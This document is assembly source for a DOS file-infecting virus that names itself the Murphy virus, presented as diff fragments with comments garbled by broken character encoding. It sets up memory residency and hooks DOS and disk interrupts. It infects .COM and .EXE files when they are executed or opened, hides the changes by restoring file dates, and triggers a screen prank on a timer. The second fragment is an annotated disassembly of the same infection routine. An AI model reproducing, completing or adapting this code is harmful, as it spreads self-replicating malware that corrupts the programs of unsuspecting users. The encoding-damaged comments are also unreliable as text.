add ax,vir_length ; ±º¡¨° ¬¥ ¿ ±
|
||||
adc dx,0 ; ¤º«¦¨ ² Murphy
|
||||
mov cx,512 ; ¤¥«¨¬ ¿ 512 ¡ ©²
|
||||
div cx
|
||||
les di,dword ptr ds:[si+02h]; § °¥¦¤ ¥ ±² ° ² ¤º«¦¨
|
||||
mov word ptr cs:[old_len],di; § ¯ §¢ ¥ ¢ ²¿«®²®
|
||||
mov word ptr cs:[old_len+2],es;§ ¯ §¢ ¥ ¢ ²¿«®²®
|
||||
mov word ptr ds:[si+02h],dx ; ¨ ¿ § ¯¨±¢ ¬¥
|
||||
cmp dx,0
|
||||
jz skip_increment
|
||||
inc ax
|
||||
skip_increment:
|
||||
mov word ptr ds:[si+04h],ax ; ¢ ¡³´¥°
|
||||
pop ax ; ·¥²¥¬ ¤º«¦¨ ² ´ ©«
|
||||
pop dx ; ®² ±²¥ª
|
||||
call div10h ; ¤¥«¨¬ ¿ 10h ¨ ¿ ¯®«³· ¢ ¬¥ ¢ AX:DX
|
||||
sub ax,word ptr ds:[si+08h] ; ¨§¢ ¦¤ ¬¥ ¯°¥´¨ª±
|
||||
les di,dword ptr ds:[si+14h]; ¯°®·¨² ¥ ±² °¨²¥
|
||||
mov word ptr ds:[buffer1],di; CS:IP ¨ § ¯¨±
|
||||
mov word ptr ds:[buffer1+02h],es ; ¢ ²¿«®²®
|
||||
mov word ptr ds:[si+14h],dx ; § ¯¨± ®¢¨¿ IP ¢ ¡³´¥°
|
||||
mov word ptr ds:[si+16h],ax ; § ¯¨± ®¢¨¿ CS ¢ ¡³´¥°
|
||||
mov word ptr ds:[my_code],ax; § ¯¨± ®¢¨¿ CS ¢º¢ ²¿«®²®
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call int_21
|
||||
call paste
|
||||
jc exitp
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call int_21
|
||||
mov ah,40h
|
||||
mov dx,si
|
||||
mov cx,18h
|
||||
call int_21
|
||||
exitp:
|
||||
ret
|
||||
|
||||
exe_file endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; Subroutine for dividing
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
div10h proc near
|
||||
mov cx,04h
|
||||
mov di,ax
|
||||
and di,000fh
|
||||
dividing:
|
||||
shr dx,1
|
||||
rcr ax,1
|
||||
loop dividing
|
||||
mov dx,di
|
||||
ret
|
||||
div10h endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; Subroutine for virus moving
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
paste proc near
|
||||
mov ah,40h ; „Ž‘ ´³ª¶¨¿ 40h /§ ¯¨± ¢º¢ ´ ©« ¨«¨ ³±²°®©±²¢®/
|
||||
mov cx,vir_length ; ¨§·¨±«¿¢ ¥ ¤º«¦¨ ² ¢¨°³±
|
||||
mov dx,offset entry_point ; DS:DX ²°¿¡¢ ¤ ±®· ² ¤°¥± § ¯¨±
|
||||
call ints_on ; § ®¡¨ª «¿¥ · ±®¢¨ª (R/W)
|
||||
jmp int_21 ; § ¯¨± ¢º¢ ´ ©«
|
||||
paste endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; Subroutine for .COM file
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
com_file proc near
|
||||
|
||||
mov ax,4202h ; „Ž‘ ´³ª¶¨¿ 42 /¯°¥¬¥±²¢ ¥ ²¥ª³¹¨¿ ³ª § ²¥« ¢º¢ ´ ¨« /AL=2 - ¢ ª° ¿/
|
||||
xor cx,cx ; ³±² ®¢¿¢ ¥ °¥£¨±²°¨²¥
|
||||
xor dx,dx ; CX ¨ DX / ª® CX:DX = 0 , ¢ DX:AX ±¥ ¯®«³· ¢ ¤º«¦¨ ² ´ ©« /
|
||||
call int_21 ; ³±² ®¢¿¢ ¥ ¢ ª° ¿ ´ ©«
|
||||
cmp ax,vir_length ; ±° ¢¿¢ ¥ ¤º«¦¨ ² ¢¨°³±
|
||||
jb short no_ill_it ; ± ¯°®£° ¬ ² ¨ ¯°¥µ®¤ ¢ ª° ¿ ª®
|
||||
cmp ax,64000 ; ¤º«¦¨ ² ¯°®£° ¬ ² ¥ < ¤º«¦.
|
||||
jnb short no_ill_it ; ¢¨°³± ¨«¨ > 0ffff-¤º«¦. ¢¨°³± - 20h
|
||||
push ax ; ±ºµ° ¿¢ ¥ AX
|
||||
cmp byte ptr ds:[si],0E9h ; ¯°®¢¥°ª § JMP ¢ · «®²® ¯°®£° ¬ ²
|
||||
jnz illing ; <20>¥? - Œ¥°±¨! ’®£ ¢ § ° §¿¢ ¬¥.
|
||||
sub ax,vir_length + 3 ; ¯®«³· ¢ ¥ ¤º«¦¨ ² ¯°®£° ¬ ² ¡¥§ ¢¨°³± /¥¢¥²³ «®/
|
||||
cmp ax,ds:[si+1] ; ¯°®¢¥°ª § ¯°®£° ¬ ² § «¥¯¥ ¢ ª° ¿
|
||||
jnz illing ; <20>¥? ...
|
||||
pop ax ; ®±¢®¡®¦¤ ¢ ¥ ±²¥ª
|
||||
stc
|
||||
ret
|
||||
illing:
|
||||
call paste
|
||||
jnc skip_paste
|
||||
pop ax
|
||||
ret
|
||||
skip_paste:
|
||||
mov ax,4200h ; „Ž‘ ´³ª¶¨¿ 42
|
||||
xor cx,cx ; ³«¨° ¥ CX
|
||||
xor dx,dx ; ³±² ®¢¿¢ ¥ ³ª § ²¥«¿ ¢ · «®²® ´ ©«
|
||||
call int_21 ; ¨§¯º«¥¨¥ ´³ª¶¨¿²
|
||||
pop ax ; ·¥²¥¥ AX
|
||||
sub ax,03h ; ¨§·¨±«¿¢ ¥ ®¯¥° ¤ JMP-
|
||||
mov dx,offset buffer1 ; § ¤ ¢ ¥ ¤°¥± § ¯¨± ¢ DS:DX
|
||||
mov si,dx
|
||||
mov byte ptr cs:[si],0e9h ; § ¯¨± 09H (JMP) ¢ · «®²® ´ ©«
|
||||
mov word ptr cs:[si+1],ax ; ®¯¥° ¤ JMP- ¢ ¯®«¥²® § § ¯¨±
|
||||
mov ah,40h ; „Ž‘ ´³ª¶¨¿ 40h /§ ¯¨± ¢º¢ ´ ©« ¨«¨ ³±²°®©±²¢®/
|
||||
mov cx,3 ; § ¯¨± ± ¬® 3 ¡ ©²
|
||||
call int_21 ; ¨§¯º«¥¨¥ ´³ª¶¨¿²
|
||||
no_ill_it:
|
||||
ret
|
||||
|
||||
com_file endp
|
||||
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; Subroutine for calling of an 'int 21h'
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
int_21 proc near
|
||||
pushf
|
||||
call dword ptr [new21]
|
||||
ret
|
||||
int_21 endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; This subroutine changes the int 24h vector to me
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
ints_on proc near
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax
|
||||
push ax
|
||||
pop ds
|
||||
cli
|
||||
les ax,dword ptr ds:[24h*4]
|
||||
mov word ptr cs:[old24],ax
|
||||
mov word ptr cs:[old24+2],es
|
||||
mov ax,offset int_24
|
||||
mov word ptr ds:[24h*4],ax
|
||||
mov word ptr ds:[24h*4+2],cs
|
||||
les ax,dword ptr ds:[13h*4]
|
||||
mov word ptr cs:[old13],ax
|
||||
mov word ptr cs:[old13+2],es
|
||||
les ax,dword ptr cs:[org13]
|
||||
mov word ptr ds:[13h*4],ax
|
||||
mov word ptr ds:[13h*4+2],es
|
||||
sti
|
||||
pop es
|
||||
pop ds
|
||||
pop ax
|
||||
ret
|
||||
ints_on endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; This subroutine restores the int 24h vector
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
ints_off proc near
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax
|
||||
push ax
|
||||
pop ds
|
||||
cli
|
||||
les ax,dword ptr cs:[old24]
|
||||
mov word ptr ds:[24h*4],ax
|
||||
mov word ptr ds:[24h*4+2],es
|
||||
les ax,dword ptr cs:[old13]
|
||||
mov word ptr ds:[13h*4],ax
|
||||
mov word ptr ds:[13h*4+2],es
|
||||
sti
|
||||
pop es
|
||||
pop ds
|
||||
pop ax
|
||||
ret
|
||||
ints_off endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; This subroutine works the int 24h
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
int_24 proc far
|
||||
mov al,3
|
||||
iret
|
||||
int_24 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; Œ ©² ¯ ± ¡¥§§ ¹¨²¨²¥ µ®°¨¶
|
||||
;
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
joke proc far
|
||||
push ax ; § ¯ §¢ ¥
|
||||
push bx
|
||||
push cx ;
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push ds ; °¥£¨±²°¨²¥
|
||||
push es
|
||||
xor ax,ax
|
||||
push ax
|
||||
pop ds
|
||||
mov bh,ds:[462h]
|
||||
mov ax,ds:[450h]
|
||||
mov cs:[old_pos],ax
|
||||
mov ax,cs:[pos_value]
|
||||
mov word ptr ds:[450h],ax
|
||||
mov ax,word ptr cs:[spot_buff]
|
||||
mov bl,ah
|
||||
mov ah,09h
|
||||
mov cx,1
|
||||
int 10h
|
||||
call change_pos
|
||||
call push_spot
|
||||
mov ax,cs:pos_value
|
||||
mov word ptr ds:[450h],ax
|
||||
mov bl,07h
|
||||
mov ax,0907h
|
||||
mov cx,1
|
||||
int 10h
|
||||
mov ax,cs:[old_pos]
|
||||
mov ds:[450h],ax
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[old_1ch]
|
||||
|
||||
|
||||
spot_buff dw ?
|
||||
pos_value dw 1010h
|
||||
direction db 0
|
||||
old_1ch dd ?
|
||||
old_pos dw ?
|
||||
|
||||
change_pos proc near
|
||||
mov ax,cs:[pos_value]
|
||||
mov bx,word ptr ds:[44ah]
|
||||
dec bx
|
||||
test cs:[direction],00000001b
|
||||
jz @001
|
||||
cmp al,bl
|
||||
jb @002
|
||||
xor cs:[direction],00000001b
|
||||
jmp short @002
|
||||
@001:
|
||||
cmp al,0
|
||||
jg @002
|
||||
xor cs:[direction],00000001b
|
||||
@002:
|
||||
test cs:[direction],00000010b
|
||||
jz @003
|
||||
cmp ah,24
|
||||
jb @005
|
||||
xor cs:[direction],00000010b
|
||||
jmp short @005
|
||||
@003:
|
||||
cmp ah,0
|
||||
jg @005
|
||||
xor cs:[direction],00000010b
|
||||
@005:
|
||||
cmp byte ptr cs:spot_buff,20h
|
||||
je skip_let
|
||||
cmp byte ptr cs:[pos_value+1],0
|
||||
je skip_let
|
||||
xor cs:[direction],00000010b
|
||||
skip_let:
|
||||
test cs:[direction],00000001b
|
||||
jz @006
|
||||
inc byte ptr cs:[pos_value]
|
||||
jmp short @007
|
||||
@006:
|
||||
dec byte ptr cs:[pos_value]
|
||||
@007:
|
||||
test cs:[direction],00000010b
|
||||
jz @008
|
||||
inc byte ptr cs:[pos_value+1]
|
||||
jmp short @009
|
||||
@008:
|
||||
dec byte ptr cs:[pos_value+1]
|
||||
@009:
|
||||
ret
|
||||
change_pos endp
|
||||
|
||||
push_spot proc near
|
||||
mov ax,cs:[pos_value]
|
||||
mov word ptr ds:[450h],ax
|
||||
mov bh,ds:[462h]
|
||||
mov ah,08h
|
||||
int 10h
|
||||
mov word ptr cs:[spot_buff],ax
|
||||
ret
|
||||
push_spot endp
|
||||
joke endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; Subroutine for check current time
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
time_kill proc near ;
|
||||
push ax ; § ¯ §¢ ¥
|
||||
push bx
|
||||
push cx ;
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push ds ; °¥£¨±²°¨²¥
|
||||
push es
|
||||
xor ax,ax ; ¯®«³· ¢ ¥
|
||||
push ax
|
||||
pop ds
|
||||
cmp word ptr ds:[1Ch*4],offset joke
|
||||
je next_way
|
||||
mov ax,ds:[46ch]
|
||||
mov dx,ds:[46ch+2]
|
||||
mov cx,0ffffh
|
||||
div cx
|
||||
cmp ax,10
|
||||
jne next_way
|
||||
cli
|
||||
mov bp,word ptr ds:[450h]
|
||||
call push_spot
|
||||
mov ds:[450h],bp
|
||||
les ax,ds:[1ch*4]
|
||||
mov word ptr cs:[old_1ch],ax
|
||||
mov word ptr cs:[old_1ch+2],es
|
||||
mov word ptr ds:[1Ch*4],offset joke
|
||||
mov word ptr ds:[1Ch*4+2],cs
|
||||
sti
|
||||
next_way:
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
time_kill endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; Subroutine for multiplication
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_10 proc near
|
||||
mov dx,10h
|
||||
mul dx ; dx:ax = reg * ax
|
||||
ret
|
||||
sub_10 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; ? ? ? ? ? ? ? ?
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
zero_regs proc near
|
||||
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
xor si,si
|
||||
xor di,di
|
||||
xor bp,bp
|
||||
ret
|
||||
|
||||
zero_regs endp
|
||||
|
||||
|
||||
point1: ;
|
||||
push ds
|
||||
call kt1 ; ²°¨ª §
|
||||
kt1: ; ¨§·¨±«¿¢ ¥ ®²¬¥±²¢ ¥²®
|
||||
mov ax,4b00h + 'M' ; kt1
|
||||
int 21h
|
||||
jc stay
|
||||
jmp go_to_program ;
|
||||
stay: ;
|
||||
pop si ;
|
||||
push si ;
|
||||
mov di,si ;
|
||||
xor ax,ax ; Zero register
|
||||
push ax ;
|
||||
pop ds ;
|
||||
les ax,ds:[13h*4] ; (0000:004C=6E5h) Load 32 bit ptr
|
||||
mov cs:[si-comp13],ax ; (64BB:06F4=9090h)
|
||||
mov cs:[si-comp13+2],es ; (64BB:06F6=9090h)
|
||||
les bx,ds:[21h*4]
|
||||
mov word ptr cs:[di-comp21],bx ; ®²¬¥±²¢ ¥
|
||||
mov word ptr cs:[di-comp21+2],es ; ±¥£¬¥²
|
||||
mov ax,ds:[102h] ; (0000:0102=0F000h)
|
||||
cmp ax,0F000h
|
||||
jne loc_14 ; Jump if not equal
|
||||
mov dl,80h
|
||||
mov ax,ds:[106h] ; (0000:0106=0C800h)
|
||||
cmp ax,0F000h
|
||||
je loc_7 ; Jump if equal
|
||||
cmp ah,0C8h
|
||||
jb loc_14 ; Jump if below
|
||||
cmp ah,0F4h
|
||||
jae loc_14 ; Jump if above or =
|
||||
test al,7Fh ; ''
|
||||
jnz loc_14 ; Jump if not zero
|
||||
mov ds,ax
|
||||
cmp word ptr ds:[0],0AA55h ; (C800:0000=0AA55h)
|
||||
jne loc_14 ; Jump if not equal
|
||||
mov dl,ds:[02h] ; (C800:0002=10h)
|
||||
loc_7:
|
||||
mov ds,ax
|
||||
xor dh,dh ; Zero register
|
||||
mov cl,9
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
mov cx,dx
|
||||
xor si,si ; Zero register
|
||||
|
||||
locloop_8:
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,0FA80h
|
||||
jne loc_9 ; Jump if not equal
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,7380h
|
||||
je loc_10 ; Jump if equal
|
||||
jnz loc_11 ; Jump if not zero
|
||||
loc_9:
|
||||
cmp ax,0C2F6h
|
||||
jne loc_12 ; Jump if not equal
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,7580h
|
||||
jne loc_11 ; Jump if not equal
|
||||
loc_10:
|
||||
inc si
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,40CDh
|
||||
je loc_13 ; Jump if equal
|
||||
sub si,3
|
||||
loc_11:
|
||||
dec si
|
||||
dec si
|
||||
loc_12:
|
||||
dec si
|
||||
loop locloop_8 ; Loop if cx > 0
|
||||
jmp short loc_14
|
||||
loc_13:
|
||||
sub si,7
|
||||
mov cs:[di-comp13],si ; (64BB:06F4=9090h)
|
||||
mov cs:[di-comp13+2],ds ; (64BB:06F6=9090h)
|
||||
loc_14:
|
||||
mov ah,62h
|
||||
int 21h
|
||||
mov es,bx
|
||||
mov ah,49h ; 'I'
|
||||
int 21h ; DOS Services ah=function 49h,
|
||||
; release memory block, es=seg
|
||||
mov bx,0FFFFh
|
||||
mov ah,48h ; 'H'
|
||||
int 21h ; DOS Services ah=function 48h,
|
||||
; allocate memory, bx=bytes/16
|
||||
sub bx,vir_length/10h+2
|
||||
jc go_to_program ; Jump if carry Set
|
||||
mov cx,es
|
||||
stc ; Set carry flag
|
||||
adc cx,bx
|
||||
mov ah,4Ah ; 'J'
|
||||
int 21h ; DOS Services ah=function 4Ah,
|
||||
; change mem allocation, bx=siz
|
||||
mov bx,vir_length/10h+1
|
||||
stc ; Set carry flag
|
||||
sbb es:[02h],bx ; (FF95:0002=0B8CFh)
|
||||
push es
|
||||
mov es,cx
|
||||
mov ah,4Ah ; 'J'
|
||||
int 21h ; DOS Services ah=function 4Ah,
|
||||
; change mem allocation, bx=siz
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[01h],08h ; (FEAD:0001=1906h)
|
||||
call sub_10
|
||||
mov bx,ax
|
||||
mov cx,dx
|
||||
pop ds
|
||||
mov ax,ds
|
||||
call sub_10
|
||||
add ax,ds:[06h] ; (FF95:0006=0C08Eh)
|
||||
adc dx,0
|
||||
sub ax,bx
|
||||
sbb dx,cx
|
||||
jc allright ; Jump if carry Set
|
||||
sub ds:[06h],ax ; (FF95:0006=0C08Eh)
|
||||
allright:
|
||||
mov si,di ;
|
||||
xor di,di ; ®²¬¥±²¢ ¥ ±¯°¿¬® ±¥£¬¥²
|
||||
push cs ; ³±² ®¢¿¢ ¥
|
||||
pop ds ; °¥£¨±²°¨²¥
|
||||
sub si,offset kt1 - offset entry_point ; DS:SI
|
||||
mov cx,vir_length ; ¨§·¨±«¿¢ ¥ ° §¬¥°
|
||||
inc cx ; ¢¨°³±
|
||||
rep movsb ; ¯°¥µ¢º°«¿¥ ¢¨°³±
|
||||
mov ah,62h
|
||||
int 21h
|
||||
dec bx
|
||||
mov ds,bx
|
||||
mov byte ptr ds:[0],5ah
|
||||
mov dx,offset virus ; DX - ®²¬¥±²¢ ¥ ®¢¨¿ ¢¥ª²®°
|
||||
xor ax,ax
|
||||
push ax
|
||||
pop ds
|
||||
mov ax,es
|
||||
sub ax,10h
|
||||
mov es,ax
|
||||
cli
|
||||
mov ds:[21h*4],dx
|
||||
mov ds:[21h*4+2],es
|
||||
sti
|
||||
dec byte ptr ds:[47bh]
|
||||
go_to_program: ;
|
||||
pop si ; § °¥¦¤ ¥ SI ®² ±²¥ª
|
||||
cmp word ptr cs:[si-compbuff],'ZM'
|
||||
jnz com_ret
|
||||
|
||||
|
||||
exe_ret proc far
|
||||
|
||||
pop ds
|
||||
mov ax,word ptr cs:[si-comp_code]
|
||||
mov bx,word ptr cs:[si-compbuff1+2]
|
||||
push cs
|
||||
pop cx
|
||||
sub cx,ax
|
||||
add cx,bx
|
||||
push cx
|
||||
push word ptr cs:[si-compbuff1]
|
||||
push ds
|
||||
pop es
|
||||
call zero_regs ; ³«¨° ¥ °¥£¨±²°¨²¥
|
||||
ret
|
||||
|
||||
exe_ret endp
|
||||
|
||||
|
||||
com_ret:
|
||||
pop ax
|
||||
mov ax,cs:[si-compbuff] ;
|
||||
mov cs:[100h],ax ; ¢º§±² ®¢¿¢ ¥
|
||||
mov ax,cs:[si-compbuff+2] ; ®°¨£¨ «¨²¥
|
||||
mov cs:[102h],ax ; ¨±²°³ª¶¨¨
|
||||
mov ax,100h ; ¯®£®²®¢ª ¤°¥± CS:100
|
||||
push ax ; ¤°¥± ¢°º¹ ¥ cs:ax
|
||||
push cs ; ¢º§±² ®¢¿¢ ¥
|
||||
pop ds ; DS
|
||||
push ds ; ¨
|
||||
pop es ; ES
|
||||
call zero_regs ; ³«¨° ¥ °¥£¨±²°¨²¥
|
||||
ret ; ¯°¥µ®¤ ¢ · «®²® ¯°®£° ¬ ²
|
||||
endpr: ; ª° © ¯°®¶¥¤³° ²
|
||||
|
||||
code ends ; ª° © ¯°®£° ¬ ²
|
||||
end entry_point ; ¢µ®¤ ²®·ª ¯°¨ ±² °²¨° ¥
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; Ÿ¨ ‹¾¡®¬¨°®¢ <20>° ª®¢ , Œ¨µ ©«®¢£° ¤ ³«."ƒ.„ ¬¿®¢" 6
|
||||
; , ²¥«.2-13-34
|
||||
; ‹¾¡®¬¨° Œ ²¥¥¢ Œ ²¥¥¢ , ‘®´¨¿ ³«."<22>³¤ ¯¥¹ " 14
|
||||
; , ²¥«.80-28-26
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
|
@ -0,0 +1,673 @@
|
|||
|
||||
|
||||
|
||||
L0100: JMP L08D0
|
||||
MOV AH,09H
|
||||
MOV DX,010CH
|
||||
INT 21H
|
||||
|
||||
L010A: INT 20H
|
||||
|
||||
L010C: DB 'Murphy virus V1.00 (V1277)$'
|
||||
DB 1961 DUP (1)
|
||||
|
||||
L08D0: JMP L0C51
|
||||
|
||||
NOP ; \
|
||||
NOP ; \
|
||||
NOP ; \
|
||||
L08D6: MOV AH,09H ; \
|
||||
MOV DX,010CH ; > ORIGINAL 24 BYTES
|
||||
INT 21H ; /
|
||||
L08DD: INT 20H ; /
|
||||
; /
|
||||
L08DF: DB 'Murphy virus' ; /
|
||||
|
||||
L08EB: DW 2 DUP(0000H)
|
||||
MOV WORD PTR [DI],0040H ;DB 0C7H,25H,40H,00H
|
||||
AND [BX+SI],AX ;DB 21H,00H
|
||||
JNO L08F7 ;DB 71H,00H
|
||||
L08F7: XOR AL,[BX+DI] ;DB 32H,01H
|
||||
MOV CH,02H ;DB 0B5H,02H
|
||||
TEST AL,0CH ;DB 0A8H,0CH
|
||||
PUSH SI ;DB 56H
|
||||
ADD AX,0AF9H ;DB 05H,0F9H,0AH
|
||||
EXTRN L3BC8H_0001H:FAR
|
||||
JMP L3BC8H_0001H ;DB 0EAH,01H,00H,0C8H,3BH
|
||||
ADD CH,[BX+SI+200CH]
|
||||
|
||||
L090A: DB 'Hello, I'm Murphy. Nice to meet you friend. '
|
||||
DB 'I'm written since Nov/Dec.'
|
||||
DB ' Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory. '
|
||||
|
||||
; ******** INT21 DRIVER ********
|
||||
|
||||
CALL L0C1B ; SOUND SHOW
|
||||
|
||||
CMP AX,4B59H ; SPECIAL FUNCTION ?
|
||||
JNE L099A
|
||||
|
||||
PUSH BP ; \
|
||||
MOV BP,SP ; \
|
||||
AND WORD PTR [BP+06H],-02H ; > FLAG C = 0
|
||||
POP BP ; /
|
||||
IRET ; /
|
||||
|
||||
L099A: CMP AH,4BH ; EXEC PROGRAM ?
|
||||
JE L09B1
|
||||
|
||||
CMP AX,3D00H ; OPEN FILE ?
|
||||
JE L09B1
|
||||
|
||||
CMP AX,6C00H ; OPEN FILE ( MS DOS v4.xx )
|
||||
JNE L09AE
|
||||
CMP BL,00H
|
||||
JE L09B1
|
||||
|
||||
L09AE: JMP L0A56 ; NO. ORIGINAL INT21
|
||||
|
||||
L09B1: PUSH ES ; \
|
||||
PUSH DS ; > SAVE REGISTERS
|
||||
L09B3: DB 'WVURQSP' ; /
|
||||
|
||||
CALL L0B86 ; SET NEW INT24 & INT13
|
||||
|
||||
CMP AX,6C00H ; \
|
||||
JNE L09C4 ; > MS DOS v4.xx NAME -> DS:SI
|
||||
MOV DX,SI ; /
|
||||
|
||||
L09C4: MOV CX,0080H
|
||||
|
||||
MOV SI,DX ; \
|
||||
L09C9: INC SI ; \
|
||||
MOV AL,[SI] ; > SEARCH EXTENSION
|
||||
OR AL,AL ; /
|
||||
LOOPNZ L09C9 ; /
|
||||
|
||||
SUB SI,+02H
|
||||
|
||||
CMP WORD PTR [SI],4D4FH ; 'OM' ?
|
||||
JE L09EB
|
||||
|
||||
CMP WORD PTR [SI],4558H ; 'XE' ?
|
||||
JE L09E2
|
||||
|
||||
L09DF: JMP SHORT L0A4A
|
||||
|
||||
NOP
|
||||
L09E2: CMP WORD PTR [SI-02H],452EH ; '.C' ?
|
||||
JE L09F2
|
||||
|
||||
JMP SHORT L09DF
|
||||
|
||||
L09EB: CMP WORD PTR [SI-02H],432EH ; '.E' ?
|
||||
JNE L09DF
|
||||
|
||||
L09F2: MOV AX,3D02H ; OPEN FILE
|
||||
CALL L0B7F
|
||||
JB L0A4A
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV AX,5700H ; GET DATE & TIME
|
||||
CALL L0B7F
|
||||
|
||||
MOV CS:[0121H],CX ; SAVE DATE & TIME
|
||||
MOV CS:[0123H],DX
|
||||
|
||||
MOV AX,4200H ; MOVE 'FP' TO BEGIN FILE ???
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
CALL L0B7F
|
||||
|
||||
PUSH CS ; MY SEGMENT
|
||||
POP DS
|
||||
|
||||
MOV DX,0103H ; READ ORIGINAL 24 BYTES
|
||||
MOV SI,DX
|
||||
MOV CX,0018H
|
||||
MOV AH,3FH
|
||||
CALL L0B7F
|
||||
JB L0A35
|
||||
|
||||
CMP WORD PTR [SI],5A4DH ; 'EXE' FILE ?
|
||||
JNE L0A32
|
||||
|
||||
CALL L0A5B ; INFECT 'EXE' FILE
|
||||
JMP SHORT L0A35
|
||||
|
||||
L0A32: CALL L0B2B ; INFECT 'COM' FILE
|
||||
|
||||
L0A35: MOV AX,5701H ; SET ORIGINAL DATE & TIME
|
||||
MOV CX,CS:[0121H]
|
||||
MOV DX,CS:[0123H]
|
||||
CALL L0B7F
|
||||
|
||||
MOV AH,3EH ; CLOSE FILE
|
||||
|
||||
CALL L0B7F ; RESTORE INT13 & INT24
|
||||
|
||||
L0A4A: CALL L0BC3
|
||||
|
||||
L0A4D: DB 'X[YZ]^_' ; RESTORE REGISTERS
|
||||
POP DS
|
||||
POP ES
|
||||
|
||||
L0A56: JMP DWORD PTR CS:[0129H] ; ORIGINAL INT21
|
||||
|
||||
; ******** INFECT 'EXE' PROGRAM ********
|
